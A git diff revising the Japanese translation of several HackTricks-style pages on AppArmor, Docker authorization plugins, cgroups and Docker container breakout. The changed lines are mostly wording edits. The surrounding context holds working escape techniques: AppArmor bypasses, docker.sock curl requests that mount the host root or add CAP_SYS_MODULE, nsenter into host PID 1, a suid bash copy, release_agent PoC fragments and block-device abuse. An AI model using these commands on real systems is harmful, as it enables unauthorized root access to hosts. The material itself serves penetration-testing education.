(環境をクリーンにした後、子プロファイルの下で実行) +- **Ux** (環境をクリーンにした後、制限なしで実行) - **変数**はプロファイル内で定義でき、プロファイルの外部から操作できます。例えば: @{PROC} と @{HOME} (プロファイルファイルに #include \ を追加) - **許可ルールを上書きするための拒否ルールがサポートされています**。 @@ -58,7 +58,7 @@ aa-mergeprof #used to merge the policies ```bash sudo aa-genprof /path/to/binary ``` -次に、別のコンソールでバイナリが通常実行するすべてのアクションを実行します: +その後、別のコンソールでバイナリが通常実行するすべてのアクションを実行します: ```bash /path/to/binary -a dosomething ``` @@ -95,9 +95,9 @@ sudo aa-easyprof /path/to/binary } ``` > [!NOTE] -> デフォルトでは、作成されたプロファイルでは何も許可されていないため、すべてが拒否されます。例えば、バイナリが`/etc/passwd`を読み取ることを許可するには、`/etc/passwd r,`のような行を追加する必要があります。 +> デフォルトでは、作成されたプロファイルでは何も許可されていないため、すべてが拒否されます。たとえば、バイナリが`/etc/passwd`を読み取ることを許可するには、`/etc/passwd r,`のような行を追加する必要があります。 -その後、**enforce**新しいプロファイルを使用できます。 +その後、新しいプロファイルを**強制**することができます。 ```bash sudo apparmor_parser -a /etc/apparmor.d/path.to.binary ``` @@ -108,7 +108,7 @@ sudo apparmor_parser -a /etc/apparmor.d/path.to.binary sudo aa-logprof ``` > [!NOTE] -> 矢印キーを使用して、許可/拒否/その他の選択を行うことができます +> 矢印キーを使用して、許可/拒否/その他の選択を行うことができます。 ### プロファイルの管理 ```bash @@ -143,9 +143,9 @@ Logfile: /var/log/audit/audit.log AppArmor denials: 2 (since Wed Jan 6 23:51:08 2021) For more information, please see: https://wiki.ubuntu.com/DebuggingApparmor ``` -## Apparmor in Docker +## DockerにおけるApparmor -dockerのプロファイル**docker-profile**がデフォルトで読み込まれることに注意してください: +デフォルトで**docker-profile**のプロファイルがロードされることに注意してください: ```bash sudo aa-status apparmor module is loaded. @@ -161,23 +161,23 @@ apparmor module is loaded. /usr/lib/connman/scripts/dhclient-script docker-default ``` -デフォルトでは、**Apparmor docker-default プロファイル**は [https://github.com/moby/moby/tree/master/profiles/apparmor](https://github.com/moby/moby/tree/master/profiles/apparmor) から生成されます。 +デフォルトでは、**Apparmor docker-default profile**は[https://github.com/moby/moby/tree/master/profiles/apparmor](https://github.com/moby/moby/tree/master/profiles/apparmor)から生成されます。 -**docker-default プロファイルの概要**: +**docker-default profileの概要**: - **すべてのネットワーキング**への**アクセス** - **能力**は定義されていません(ただし、いくつかの能力は基本的なベースルールを含むことから来ます。つまり、#include \) - **/proc**ファイルへの**書き込み**は**許可されていません** - **/proc**および**/sys**の他の**サブディレクトリ**/**ファイル**への読み取り/書き込み/ロック/リンク/実行アクセスは**拒否**されます - **マウント**は**許可されていません** -- **Ptrace**は**同じ apparmor プロファイル**によって制限されたプロセスでのみ実行できます +- **Ptrace**は、**同じapparmor profile**によって制限されたプロセスでのみ実行できます -**docker コンテナを実行すると**、次の出力が表示されるはずです: +**dockerコンテナを実行すると**、次の出力が表示されるはずです: ```bash 1 processes are in enforce mode. docker-default (825) ``` -注意してください。**apparmorはデフォルトでコンテナに付与された能力の特権をブロックします**。例えば、デフォルトのdocker apparmorプロファイルがこのアクセスを拒否するため、**SYS_ADMIN能力が付与されていても/proc内に書き込む権限をブロックすることができます**。 +注意してください、**apparmorはデフォルトでコンテナに付与された能力の特権をブロックします**。例えば、**SYS_ADMIN能力が付与されていても/proc内への書き込み権限をブロックすることができます**。なぜなら、デフォルトのdocker apparmorプロファイルはこのアクセスを拒否するからです: ```bash docker run -it --cap-add SYS_ADMIN --security-opt seccomp=unconfined ubuntu /bin/bash echo "" > /proc/stat @@ -187,7 +187,7 @@ sh: 1: cannot create /proc/stat: Permission denied ```bash docker run -it --cap-add SYS_ADMIN --security-opt seccomp=unconfined --security-opt apparmor=unconfined ubuntu /bin/bash ``` -デフォルトでは、**AppArmor**は**コンテナが内部から**フォルダをマウントすることを**禁止します**。SYS_ADMIN権限があってもです。 +デフォルトでは、**AppArmor**は**コンテナが内部から**フォルダーをマウントすることを**禁止します**。SYS_ADMIN権限があってもです。 **capabilities**をdockerコンテナに**追加/削除**することができます(これは**AppArmor**や**Seccomp**のような保護方法によって制限されます): @@ -196,7 +196,7 @@ docker run -it --cap-add SYS_ADMIN --security-opt seccomp=unconfined --security- - `--cap-drop=ALL --cap-add=SYS_PTRACE` すべての権限を削除し、`SYS_PTRACE`のみを付与 > [!NOTE] -> 通常、**docker**コンテナの**内部**で**特権権限**が利用可能であることを**発見**したが、**exploitの一部が機能していない**場合、これはdockerの**apparmorがそれを防いでいる**ためです。 +> 通常、**docker**コンテナの**内部**で**特権権限**が利用可能であることを**発見**したが、**エクスプロイトの一部が機能していない**場合、これはdockerの**apparmorがそれを防いでいる**ためです。 ### 例 @@ -215,7 +215,7 @@ sudo apparmor_parser -r -W mydocker $ sudo apparmor_status | grep mydocker mydocker ``` -以下のように、AppArmorプロファイルが「/etc」への書き込みアクセスを防いでいるため、「/etc」を変更しようとするとエラーが発生します。 +以下のように、AppArmorプロファイルが「/etc」への書き込みアクセスを防いでいるため、「/etc/」を変更しようとするとエラーが発生します。 ``` $ docker run --rm -it --security-opt apparmor:mydocker -v ~/haproxy:/localhost busybox chmod 400 /etc/hostname chmod: /etc/hostname: Permission denied @@ -236,11 +236,11 @@ find /etc/apparmor.d/ -name "*lowpriv*" -maxdepth 1 2>/dev/null ### AppArmor Docker バイパス2 -**AppArmorはパスベースです。** これは、**`/proc`**のようなディレクトリ内のファイルを**保護**している場合でも、**コンテナの実行方法を構成できる**場合、ホストのプロクスディレクトリを**`/host/proc`**に**マウント**することができ、AppArmorによって**保護されなくなる**ことを意味します。 +**AppArmorはパスベースです。** これは、**`/proc`**のようなディレクトリ内のファイルを**保護**している場合でも、**コンテナの実行方法を構成できる**なら、ホストのプロクスディレクトリを**`/host/proc`**に**マウント**することができ、AppArmorによって**保護されなくなる**ことを意味します。 ### AppArmor シェバング バイパス -[**このバグ**](https://bugs.launchpad.net/apparmor/+bug/1911431)では、**特定のリソースでperlの実行を防いでいる場合でも、**最初の行に**`#!/usr/bin/perl`**を指定したシェルスクリプトを作成し、**ファイルを直接実行**すると、任意のものを実行できる例を見ることができます。例えば: +[**このバグ**](https://bugs.launchpad.net/apparmor/+bug/1911431)では、**特定のリソースでperlの実行を防いでいる場合でも、**最初の行に**`#!/usr/bin/perl`**を指定したシェルスクリプトを作成し、**ファイルを直接実行**することで、任意のものを実行できる例を見ることができます。例えば: ```perl echo '#!/usr/bin/perl use POSIX qw(strftime); diff --git a/src/linux-hardening/privilege-escalation/docker-security/authz-and-authn-docker-access-authorization-plugin.md b/src/linux-hardening/privilege-escalation/docker-security/authz-and-authn-docker-access-authorization-plugin.md index 98888d622..1b29cb145 100644 --- a/src/linux-hardening/privilege-escalation/docker-security/authz-and-authn-docker-access-authorization-plugin.md +++ b/src/linux-hardening/privilege-escalation/docker-security/authz-and-authn-docker-access-authorization-plugin.md @@ -1,6 +1,6 @@ {{#include ../../../banners/hacktricks-training.md}} -**Docker**の標準**認可**モデルは**全か無か**です。Dockerデーモンにアクセスする権限を持つユーザーは、**任意の**Dockerクライアント**コマンド**を**実行**できます。DockerのエンジンAPIを使用してデーモンに接続する呼び出し元についても同様です。**より高いアクセス制御**が必要な場合は、**認可プラグイン**を作成し、Dockerデーモンの設定に追加できます。認可プラグインを使用することで、Docker管理者はDockerデーモンへのアクセスを管理するための**詳細なアクセス**ポリシーを**設定**できます。 +**Docker**の標準**認可**モデルは**全か無か**です。Dockerデーモンにアクセスする権限を持つユーザーは、**任意の**Dockerクライアント**コマンド**を**実行**できます。DockerのエンジンAPIを使用してデーモンに接続する呼び出し元にも同様のことが言えます。**より高いアクセス制御**が必要な場合は、**認可プラグイン**を作成し、Dockerデーモンの設定に追加できます。認可プラグインを使用することで、Docker管理者はDockerデーモンへのアクセスを管理するための**詳細なアクセス**ポリシーを**設定**できます。 # 基本アーキテクチャ @@ -8,7 +8,7 @@ Docker Authプラグインは、**外部**の**プラグイン**であり、** **[以下の情報はドキュメントからのものです](https://docs.docker.com/engine/extend/plugins_authorization/#:~:text=If%20you%20require%20greater%20access,access%20to%20the%20Docker%20daemon)** -**HTTP** **リクエスト**がCLIまたはエンジンAPIを介してDocker **デーモン**に送信されると、**認証** **サブシステム**はリクエストをインストールされた**認証** **プラグイン**に**渡します**。リクエストにはユーザー(呼び出し元)とコマンドのコンテキストが含まれています。**プラグイン**は、リクエストを**許可**するか**拒否**するかを決定する責任があります。 +**HTTP** **リクエスト**がCLIまたはエンジンAPIを介してDocker **デーモン**に送信されると、**認証** **サブシステム**はリクエストをインストールされた**認証** **プラグイン**に**渡します**。リクエストにはユーザー(呼び出し元)とコマンドコンテキストが含まれています。**プラグイン**は、リクエストを**許可**するか**拒否**するかを決定する責任があります。 以下のシーケンス図は、許可と拒否の認可フローを示しています: @@ -18,19 +18,19 @@ Docker Authプラグインは、**外部**の**プラグイン**であり、** プラグインに送信される各リクエストには、**認証されたユーザー、HTTPヘッダー、およびリクエスト/レスポンスボディ**が含まれます。**ユーザー名**と**使用された認証方法**のみがプラグインに渡されます。最も重要なことは、**ユーザーの** **資格情報**やトークンは渡されないことです。最後に、**すべてのリクエスト/レスポンスボディが**認可プラグインに送信されるわけではありません。`Content-Type`が`text/*`または`application/json`であるリクエスト/レスポンスボディのみが送信されます。 -HTTP接続をハイジャックする可能性のあるコマンド(`HTTP Upgrade`)については、`exec`のように、認可プラグインは初期のHTTPリクエストに対してのみ呼び出されます。プラグインがコマンドを承認すると、その後のフローには認可が適用されません。具体的には、ストリーミングデータは認可プラグインに渡されません。`logs`や`events`のようにチャンク化されたHTTPレスポンスを返すコマンドについては、HTTPリクエストのみが認可プラグインに送信されます。 +HTTP接続をハイジャックする可能性のあるコマンド(`HTTP Upgrade`)に対しては、`exec`のように、認可プラグインは初期のHTTPリクエストに対してのみ呼び出されます。プラグインがコマンドを承認すると、その後のフローには認可が適用されません。具体的には、ストリーミングデータは認可プラグインに渡されません。`logs`や`events`のようにチャンク化されたHTTPレスポンスを返すコマンドに対しては、HTTPリクエストのみが認可プラグインに送信されます。 -リクエスト/レスポンス処理中に、一部の認可フローはDockerデーモンに追加のクエリを行う必要があるかもしれません。そのようなフローを完了するために、プラグインは通常のユーザーと同様にデーモンAPIを呼び出すことができます。これらの追加クエリを有効にするために、プラグインは管理者が適切な認証とセキュリティポリシーを設定できる手段を提供する必要があります。 +リクエスト/レスポンス処理中に、一部の認可フローはDockerデーモンに追加のクエリを行う必要があるかもしれません。そのようなフローを完了するために、プラグインは通常のユーザーと同様にデーモンAPIを呼び出すことができます。これらの追加のクエリを有効にするために、プラグインは管理者が適切な認証とセキュリティポリシーを設定できる手段を提供する必要があります。 ## 複数のプラグイン -あなたは、Dockerデーモンの**起動**の一部として**プラグイン**を**登録**する責任があります。**複数のプラグインをインストールし、それらを連結**することができます。このチェーンは順序付けることができます。デーモンへの各リクエストは、順番にチェーンを通過します。**すべてのプラグインがリソースへのアクセスを許可**したときのみ、アクセスが許可されます。 +あなたは、Dockerデーモンの**起動**の一部として**プラグイン**を**登録**する責任があります。**複数のプラグインをインストールし、連鎖させる**ことができます。この連鎖は順序付けることができます。デーモンへの各リクエストは、順番に連鎖を通過します。**すべてのプラグインがリソースへのアクセスを許可**したときのみ、アクセスが許可されます。 # プラグインの例 ## Twistlock AuthZ Broker -プラグイン [**authz**](https://github.com/twistlock/authz) は、**リクエストを認可するために**プラグインが**読み取る**シンプルな**JSON**ファイルを作成することを可能にします。したがって、どのAPIエンドポイントが各ユーザーに到達できるかを非常に簡単に制御する機会を提供します。 +プラグイン [**authz**](https://github.com/twistlock/authz) は、**プラグイン**がリクエストを認可するために**読み取る**シンプルな**JSON**ファイルを作成することを可能にします。したがって、どのAPIエンドポイントが各ユーザーに到達できるかを非常に簡単に制御する機会を提供します。 これは、アリスとボブが新しいコンテナを作成できるようにする例です:`{"name":"policy_3","users":["alice","bob"],"actions":["container_create"]}` @@ -48,7 +48,7 @@ HTTP接続をハイジャックする可能性のあるコマンド(`HTTP Upgr 確認すべき主な点は、**どのエンドポイントが許可されているか**と**どのHostConfigの値が許可されているか**です。 -この列挙を行うには、**ツール** [**https://github.com/carlospolop/docker_auth_profiler**](https://github.com/carlospolop/docker_auth_profiler)**を使用**できます。 +この列挙を行うには、**ツール** [**https://github.com/carlospolop/docker_auth_profiler**](https://github.com/carlospolop/docker_auth_profiler)**を使用できます。** ## 許可されていない `run --privileged` @@ -80,7 +80,7 @@ docker exec -it ---cap-add=SYS_ADMIN bb72293810b0f4ea65ee8fd200db418a48593c1a8a3 ## 書き込み可能なフォルダーをマウント -この場合、システム管理者は**ユーザーが`--privileged`フラグを使用してコンテナを実行することを禁止**し、コンテナに追加の機能を与えることを許可せず、`/tmp`フォルダーをマウントすることのみを許可しました。 +この場合、システム管理者は**ユーザーが`--privileged`フラグを使用してコンテナを実行することを禁止**し、コンテナに追加の機能を与えることを許可せず、`/tmp`フォルダーのみをマウントすることを許可しました。 ```bash host> cp /bin/bash /tmp #Cerate a copy of bash host> docker run -it -v /tmp:/host ubuntu:18.04 bash #Mount the /tmp folder of the host and get a shell @@ -92,9 +92,9 @@ host> /tmp/bash > [!NOTE] > `/tmp` フォルダーをマウントできない場合がありますが、**別の書き込み可能なフォルダー**をマウントできます。書き込み可能なディレクトリを見つけるには、`find / -writable -type d 2>/dev/null` を使用してください。 > -> **Linux マシンのすべてのディレクトリが suid ビットをサポートするわけではありません!** suid ビットをサポートするディレクトリを確認するには、`mount | grep -v "nosuid"` を実行します。例えば、通常 `/dev/shm`、`/run`、`/proc`、`/sys/fs/cgroup`、および `/var/lib/lxcfs` は suid ビットをサポートしていません。 +> **Linux マシンのすべてのディレクトリが suid ビットをサポートするわけではありません!** suid ビットをサポートするディレクトリを確認するには、`mount | grep -v "nosuid"` を実行します。たとえば、通常 `/dev/shm`、`/run`、`/proc`、`/sys/fs/cgroup`、および `/var/lib/lxcfs` は suid ビットをサポートしていません。 > -> また、**`/etc`** または **設定ファイルを含む他のフォルダー** を **マウントできる** 場合、Docker コンテナ内で root としてそれらを変更し、**ホストで悪用して** 権限を昇格させることができます(例えば、`/etc/shadow` を変更すること)。 +> また、**`/etc`** または **設定ファイルを含む他のフォルダー** を **マウントできる** 場合、Docker コンテナ内で root としてそれらを変更し、**ホストで悪用して** 権限を昇格させることができます(おそらく `/etc/shadow` を変更することによって)。 ## チェックされていない API エンドポイント @@ -134,13 +134,13 @@ curl --unix-socket /var/run/docker.sock -H "Content-Type: application/json" -d ' ``` ### Mounts in HostConfig -**Binds in root**と同様に、Docker APIにこの**リクエスト**を行います: +**Binds in root** と同様の指示に従い、Docker API にこの **request** を実行します: ```bash curl --unix-socket /var/run/docker.sock -H "Content-Type: application/json" -d '{"Image": "ubuntu-sleep", "HostConfig":{"Mounts": [{"Name": "fac36212380535", "Source": "/", "Destination": "/host", "Driver": "local", "Mode": "rw,Z", "RW": true, "Propagation": "", "Type": "bind", "Target": "/host"}]}}' http:/v1.40/containers/cre ``` ## チェックされていないJSON属性 -sysadminがdockerファイアウォールを設定した際に、[**API**](https://docs.docker.com/engine/api/v1.40/#operation/ContainerList)のパラメータの重要な属性である"**Capabilities**"を"**HostConfig**"内で**忘れた**可能性があります。次の例では、この誤設定を悪用して**SYS_MODULE**権限を持つコンテナを作成して実行することが可能です: +sysadminがdockerファイアウォールを設定した際に、[**API**](https://docs.docker.com/engine/api/v1.40/#operation/ContainerList)の「**HostConfig**」内の「**Capabilities**」のような**パラメータの重要な属性を忘れた**可能性があります。次の例では、この誤設定を悪用して**SYS_MODULE**権限を持つコンテナを作成して実行することが可能です: ```bash docker version curl --unix-socket /var/run/docker.sock -H "Content-Type: application/json" -d '{"Image": "ubuntu", "HostConfig":{"Capabilities":["CAP_SYS_MODULE"]}}' http:/v1.40/containers/create @@ -155,7 +155,7 @@ capsh --print ## プラグインの無効化 -もし **sysadmin** が **プラグイン** を **無効にする** 能力を **禁止するのを忘れた** 場合、これを利用して完全に無効化することができます! +もし **sysadmin** が **プラグイン** を **無効にする** 能力を **禁止するのを忘れた** 場合、これを利用して完全に無効にすることができます! ```bash docker plugin list #Enumerate plugins diff --git a/src/linux-hardening/privilege-escalation/docker-security/cgroups.md b/src/linux-hardening/privilege-escalation/docker-security/cgroups.md index 688933a4a..f1e790ed6 100644 --- a/src/linux-hardening/privilege-escalation/docker-security/cgroups.md +++ b/src/linux-hardening/privilege-escalation/docker-security/cgroups.md @@ -4,11 +4,11 @@ ## 基本情報 -**Linux Control Groups**、または**cgroups**は、プロセスグループ間でCPU、メモリ、ディスクI/Oなどのシステムリソースの割り当て、制限、優先順位付けを可能にするLinuxカーネルの機能です。これは、リソース制限、ワークロードの分離、異なるプロセスグループ間のリソース優先順位付けなどの目的に役立つ、プロセスコレクションのリソース使用を**管理および分離する**ためのメカニズムを提供します。 +**Linux Control Groups**、または**cgroups**は、CPU、メモリ、ディスクI/Oなどのシステムリソースをプロセスグループ間で割り当て、制限し、優先順位を付けることを可能にするLinuxカーネルの機能です。これは、リソース制限、ワークロードの分離、異なるプロセスグループ間のリソース優先順位付けなどの目的に役立つ、プロセスコレクションのリソース使用を**管理および分離する**ためのメカニズムを提供します。 -**cgroupsには2つのバージョン**があります:バージョン1とバージョン2。両方はシステム上で同時に使用できます。主な違いは、**cgroupsバージョン2**が**階層的なツリー状の構造**を導入し、プロセスグループ間でのリソース配分をより微妙かつ詳細に行えるようにすることです。さらに、バージョン2は以下のようなさまざまな改善をもたらします: +**cgroupsには2つのバージョン**があります:バージョン1とバージョン2。両方はシステム上で同時に使用できます。主な違いは、**cgroupsバージョン2**が**階層的なツリー状の構造**を導入し、プロセスグループ間でのリソース配分をより微妙かつ詳細に行えるようにしていることです。さらに、バージョン2は、以下のようなさまざまな強化をもたらします。 -新しい階層的な組織に加えて、cgroupsバージョン2は**新しいリソースコントローラー**のサポート、レガシーアプリケーションへのより良いサポート、パフォーマンスの向上など、**いくつかの他の変更と改善**も導入しました。 +新しい階層的な組織に加えて、cgroupsバージョン2は**新しいリソースコントローラーのサポート**、レガシーアプリケーションへのより良いサポート、パフォーマンスの向上など、**いくつかの他の変更と改善**も導入しました。 全体として、cgroups **バージョン2はバージョン1よりも多くの機能と優れたパフォーマンスを提供**しますが、後者は古いシステムとの互換性が懸念される特定のシナリオではまだ使用される可能性があります。 @@ -27,15 +27,15 @@ $ cat /proc/self/cgroup 1:name=systemd:/user.slice/user-1000.slice/session-2.scope 0::/user.slice/user-1000.slice/session-2.scope ``` -- **番号 2–12**: cgroups v1、各行は異なる cgroup を表します。これらのコントローラーは番号の隣に指定されています。 -- **番号 1**: 同じく cgroups v1 ですが、管理目的のみに使用され(例: systemd によって設定)、コントローラーはありません。 -- **番号 0**: cgroups v2 を表します。コントローラーはリストされておらず、この行は cgroups v2 のみを実行しているシステムで独占的です。 +- **数字 2–12**: cgroups v1、各行は異なる cgroup を表します。これらのコントローラーは、数字の隣に指定されています。 +- **数字 1**: これも cgroups v1 ですが、管理目的のみに使用され(例: systemd によって設定)、コントローラーはありません。 +- **数字 0**: cgroups v2 を表します。コントローラーはリストされておらず、この行は cgroups v2 のみを実行しているシステムで独占的です。 - **名前は階層的**で、ファイルパスに似ており、異なる cgroup 間の構造と関係を示しています。 - **/user.slice や /system.slice** のような名前は cgroup の分類を指定し、user.slice は通常 systemd によって管理されるログインセッション用、system.slice はシステムサービス用です。 ### cgroups の表示 -ファイルシステムは通常、**cgroups** へのアクセスに利用され、カーネルとのインタラクションに伝統的に使用される Unix システムコールインターフェースとは異なります。シェルの cgroup 設定を調査するには、**/proc/self/cgroup** ファイルを確認し、シェルの cgroup を明らかにします。その後、**/sys/fs/cgroup**(または **`/sys/fs/cgroup/unified`**)ディレクトリに移動し、cgroup の名前を共有するディレクトリを見つけることで、cgroup に関連するさまざまな設定やリソース使用情報を観察できます。 +ファイルシステムは通常、**cgroups** へのアクセスに利用され、カーネルとのインタラクションに伝統的に使用される Unix システムコールインターフェースとは異なります。シェルの cgroup 構成を調査するには、**/proc/self/cgroup** ファイルを確認し、シェルの cgroup を明らかにします。その後、**/sys/fs/cgroup**(または **`/sys/fs/cgroup/unified`**)ディレクトリに移動し、cgroup の名前を共有するディレクトリを見つけることで、cgroup に関連するさまざまな設定やリソース使用情報を観察できます。 ![Cgroup Filesystem](<../../../images/image (1128).png>) @@ -51,11 +51,11 @@ cgroups の主要なインターフェースファイルは **cgroup** で始ま ### cgroups の操作と作成 -プロセスは **`cgroup.procs` ファイルにそのプロセス ID (PID) を書き込むことによって** cgroups に割り当てられます。これには root 権限が必要です。たとえば、プロセスを追加するには: +プロセスは **`cgroup.procs` ファイルにそのプロセス ID (PID) を書き込むことによって cgroups に割り当てられます**。これには root 権限が必要です。たとえば、プロセスを追加するには: ```bash echo [pid] > cgroup.procs ``` -同様に、**PID制限を設定するなどのcgroup属性の変更**は、関連するファイルに希望の値を書き込むことで行われます。cgroupの最大3,000 PIDを設定するには: +同様に、**cgroup属性を変更すること、例えばPID制限を設定すること**は、関連するファイルに希望の値を書き込むことで行われます。cgroupの最大3,000 PIDを設定するには: ```bash echo 3000 > pids.max ``` diff --git a/src/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/README.md b/src/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/README.md index 5e32e208c..31f4bc709 100644 --- a/src/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/README.md +++ b/src/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/README.md @@ -5,7 +5,7 @@ ## 自動列挙とエスケープ - [**linpeas**](https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS): コンテナを**列挙**することもできます -- [**CDK**](https://github.com/cdk-team/CDK#installationdelivery): このツールは、コンテナを**列挙**し、自動的にエスケープを試みるのに非常に**便利**です +- [**CDK**](https://github.com/cdk-team/CDK#installationdelivery): このツールは、コンテナを列挙し、自動的にエスケープを試みるのに非常に**便利**です - [**amicontained**](https://github.com/genuinetools/amicontained): コンテナが持つ権限を取得し、そこからエスケープする方法を見つけるのに役立つツール - [**deepce**](https://github.com/stealthcopter/deepce): コンテナから列挙し、エスケープするためのツール - [**grype**](https://github.com/anchore/grype): イメージにインストールされているソフトウェアに含まれるCVEを取得します @@ -52,7 +52,7 @@ Dockerデーモンは、[ポートでリッスンしている可能性があり コンテナの能力を確認する必要があります。以下のいずれかを持っている場合、そこから脱出できる可能性があります:**`CAP_SYS_ADMIN`**、**`CAP_SYS_PTRACE`**、**`CAP_SYS_MODULE`**、**`DAC_READ_SEARCH`**、**`DAC_OVERRIDE`、`CAP_SYS_RAWIO`、`CAP_SYSLOG`、`CAP_NET_RAW`、`CAP_NET_ADMIN`** -現在のコンテナの能力は、**前述の自動ツール**を使用するか、次の方法で確認できます: +現在のコンテナの能力は、**前述の自動ツール**を使用して確認するか: ```bash capsh --print ``` @@ -86,7 +86,7 @@ capsh --print これらの権限を使用すると、単に**ホストでrootとして実行されているプロセスの名前空間に移動する**ことができます。例えば、init (pid:1) に対して、次のコマンドを実行します: `nsenter --target 1 --mount --uts --ipc --net --pid -- bash` -コンテナ内で次のようにテストしてください: +コンテナ内で次のようにテストします: ```bash docker run --rm -it --pid=host --privileged ubuntu bash ``` @@ -113,7 +113,7 @@ mount /dev/sda1 /mnt/hola #### ディスクのマウント - Poc2 -コンテナ内で、攻撃者はクラスターによって作成された書き込み可能な hostPath ボリュームを介して、基盤となるホスト OS へのさらなるアクセスを試みるかもしれません。以下は、この攻撃者ベクターを利用できるかどうかを確認するためにコンテナ内でチェックできる一般的な項目です: +コンテナ内で、攻撃者はクラスターによって作成された書き込み可能な hostPath ボリュームを介して、基盤となるホスト OS へのさらなるアクセスを試みることがあります。以下は、この攻撃者ベクターを利用できるかどうかを確認するためにコンテナ内でチェックできる一般的な項目です: ```bash ### Check if You Can Write to a File-system echo 1 > /proc/sysrq-trigger @@ -168,7 +168,7 @@ sh -c "echo 0 > $d/w/cgroup.procs"; sleep 1 # Reads the output cat /o ``` -#### 特権エスケープ 作成された release_agent を悪用する ([cve-2022-0492](https://unit42.paloaltonetworks.com/cve-2022-0492-cgroups/)) - PoC2 +#### 特権エスケープ created release_agent の悪用 ([cve-2022-0492](https://unit42.paloaltonetworks.com/cve-2022-0492-cgroups/)) - PoC2 ```bash:Second PoC # On the host docker run --rm -it --cap-add=SYS_ADMIN --security-opt apparmor=unconfined ubuntu bash @@ -310,7 +310,7 @@ root 10 2 0 11:25 ? 00:00:00 [ksoftirqd/0] ``` #### 特権エスケープ:センシティブマウントの悪用 -マウントされる可能性のあるいくつかのファイルがあり、これらは**基盤となるホストに関する情報**を提供します。中には、**何かが発生したときにホストによって実行されるべき何かを示す**ものもあります(これにより攻撃者はコンテナからエスケープすることができます)。\ +マウントされる可能性のあるいくつかのファイルがあり、これらは**基盤となるホストに関する情報**を提供します。中には、**何かが発生したときにホストによって実行されるべき何かを示す**ものもあります(これにより攻撃者はコンテナからエスケープすることが可能になります)。\ これらのファイルの悪用により、以下が可能になる場合があります: - release_agent(以前に説明済み) @@ -327,13 +327,13 @@ sensitive-mounts.md ### 任意のマウント -いくつかの状況では、**コンテナにホストからマウントされたボリュームがある**ことがわかります。このボリュームが正しく構成されていない場合、**センシティブデータにアクセス/変更することができる**かもしれません:秘密を読み取る、ssh authorized_keysを変更する… +いくつかの状況では、**コンテナがホストからいくつかのボリュームをマウントしている**ことがわかります。このボリュームが正しく構成されていない場合、**センシティブデータにアクセス/変更することができる**かもしれません:秘密情報を読み取る、ssh authorized_keysを変更する… ```bash docker run --rm -it -v /:/host ubuntu bash ``` ### 2つのシェルとホストマウントを使用した特権昇格 -**コンテナ内でrootとしてアクセス**でき、ホストからマウントされたフォルダがあり、**非特権ユーザーとしてホストにエスケープ**し、マウントされたフォルダに対して読み取りアクセスがある場合。\ +**コンテナ内でrootとしてアクセス**でき、ホストからマウントされたフォルダがあり、**非特権ユーザーとしてホストにエスケープ**し、マウントされたフォルダに対する読み取りアクセスがある場合。\ **コンテナ**内の**マウントされたフォルダ**に**bash suidファイル**を作成し、**ホストから実行**して特権昇格を行うことができます。 ```bash cp /bin/bash . #From non priv inside mounted folder @@ -344,8 +344,8 @@ bash -p #From non priv inside mounted folder ``` ### 2つのシェルを使った特権昇格 -**コンテナ内でrootとしてアクセスでき**、**非特権ユーザーとしてホストにエスケープした**場合、コンテナ内でMKNODの権限があれば(デフォルトで持っています)、両方のシェルを利用して**ホスト内での特権昇格**を行うことができます(これは[**この投稿で説明されています**](https://labs.withsecure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/))。\ -このような権限を持つと、コンテナ内のrootユーザーは**ブロックデバイスファイルを作成**することが許可されます。デバイスファイルは、**基盤となるハードウェアやカーネルモジュールにアクセスするために使用される特別なファイル**です。例えば、/dev/sdaのブロックデバイスファイルは、**システムディスク上の生データを読み取る**ためのアクセスを提供します。 +**コンテナ内でrootとしてアクセスでき**、**非特権ユーザーとしてホストにエスケープした**場合、コンテナ内でMKNODの権限があれば(デフォルトで持っています)、両方のシェルを利用して**ホスト内での特権昇格を行う**ことができます([**この投稿で説明されています**](https://labs.withsecure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/))。\ +このような権限を持つと、コンテナ内のrootユーザーは**ブロックデバイスファイルを作成する**ことが許可されます。デバイスファイルは、**基盤となるハードウェアやカーネルモジュールにアクセスするために使用される特別なファイル**です。例えば、/dev/sdaブロックデバイスファイルは、**システムディスク上の生データを読み取る**ためのアクセスを提供します。 Dockerは、コンテナ内でのブロックデバイスの誤用を防ぐために、**ブロックデバイスの読み書き操作をブロックする**cgroupポリシーを強制しています。それにもかかわらず、ブロックデバイスが**コンテナ内で作成されると**、それは**/proc/PID/root/**ディレクトリを介してコンテナの外部からアクセス可能になります。このアクセスには、**プロセスの所有者がコンテナ内外で同じである必要があります**。 @@ -402,7 +402,7 @@ HOSTNAME=argocd-server-69678b4f65-6mmql USER=abrgocd ... ``` -他のプロセスのファイルディスクリプタに**アクセスし、オープンファイルを読み取る**こともできます。 +他のプロセスのファイルディスクリプタに**アクセスして、オープンファイルを読み取る**こともできます。 ```bash for fd in `find /proc/*/fd`; do ls -al $fd/* 2>/dev/null | grep \>; done > fds.txt less fds.txt @@ -415,13 +415,13 @@ cat /proc/635813/fd/4 プロセスを**終了させてDoSを引き起こす**こともできます。 > [!WARNING] -> もしコンテナ外のプロセスに対して特権**アクセスを持っている場合**、`nsenter --target --all`や`nsenter --target --mount --net --pid --cgroup`のようなコマンドを実行して、そのプロセスと**同じns制限**(できればなし)で**シェルを実行**することができます。 +> もし何らかの方法で**コンテナ外のプロセスに対して特権アクセス**を持っている場合、`nsenter --target --all`や`nsenter --target --mount --net --pid --cgroup`のようなコマンドを実行して、そのプロセスと**同じns制限**(できれば制限なし)で**シェルを実行**することができます。 ### hostNetwork ``` docker run --rm -it --network=host ubuntu bash ``` -コンテナがDocker [ホストネットワーキングドライバー(`--network=host`)](https://docs.docker.com/network/host/) で構成されている場合、そのコンテナのネットワークスタックはDockerホストから隔離されておらず(コンテナはホストのネットワーキングネームスペースを共有)、コンテナには独自のIPアドレスが割り当てられません。言い換えれば、**コンテナはすべてのサービスをホストのIPに直接バインドします**。さらに、コンテナは**ホストが送受信しているすべてのネットワークトラフィックを傍受することができます**。共有インターフェース `tcpdump -i eth0`。 +コンテナがDocker [ホストネットワーキングドライバー (`--network=host`)](https://docs.docker.com/network/host/) 